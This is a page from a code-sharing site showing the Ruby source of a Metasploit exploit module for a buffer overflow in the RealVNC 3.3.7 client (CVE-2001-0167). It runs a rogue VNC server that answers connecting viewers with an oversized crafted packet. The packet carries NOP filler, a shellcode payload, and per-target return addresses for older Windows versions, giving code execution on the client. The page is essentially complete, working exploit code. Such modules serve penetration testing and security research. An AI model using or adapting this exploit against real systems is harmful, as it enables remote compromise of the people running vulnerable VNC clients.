Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/vnc/realvnc_client.rb
19514 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'RealVNC 3.3.7 Client Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).
18
},
19
'Author' => 'MC',
20
'License' => MSF_LICENSE,
21
'References' => [
22
[ 'CVE', '2001-0167' ],
23
[ 'OSVDB', '6281' ],
24
[ 'BID', '2305' ],
25
],
26
'DefaultOptions' => {
27
'EXITFUNC' => 'thread',
28
},
29
'Payload' => {
30
'Space' => 500,
31
'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
32
'MaxNops' => 0,
33
'StackAdjustment' => -3500,
34
},
35
'Platform' => 'win',
36
'Targets' => [
37
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ],
38
[ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ],
39
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
40
],
41
'Privileged' => false,
42
'DisclosureDate' => '2001-01-29',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options(
53
[
54
OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
55
]
56
)
57
end
58
59
def on_client_connect(client)
60
rfb = "RFB 003.003\n"
61
62
client.put(rfb)
63
end
64
65
def on_client_data(client)
66
return if ((p = regenerate_payload(client)) == nil)
67
68
filler = make_nops(993 - payload.encoded.length)
69
70
sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded
71
sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')
72
sploit << rand_text_english(200)
73
74
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
75
client.put(sploit)
76
77
handler
78
service.close_client(client)
79
end
80
end
81
82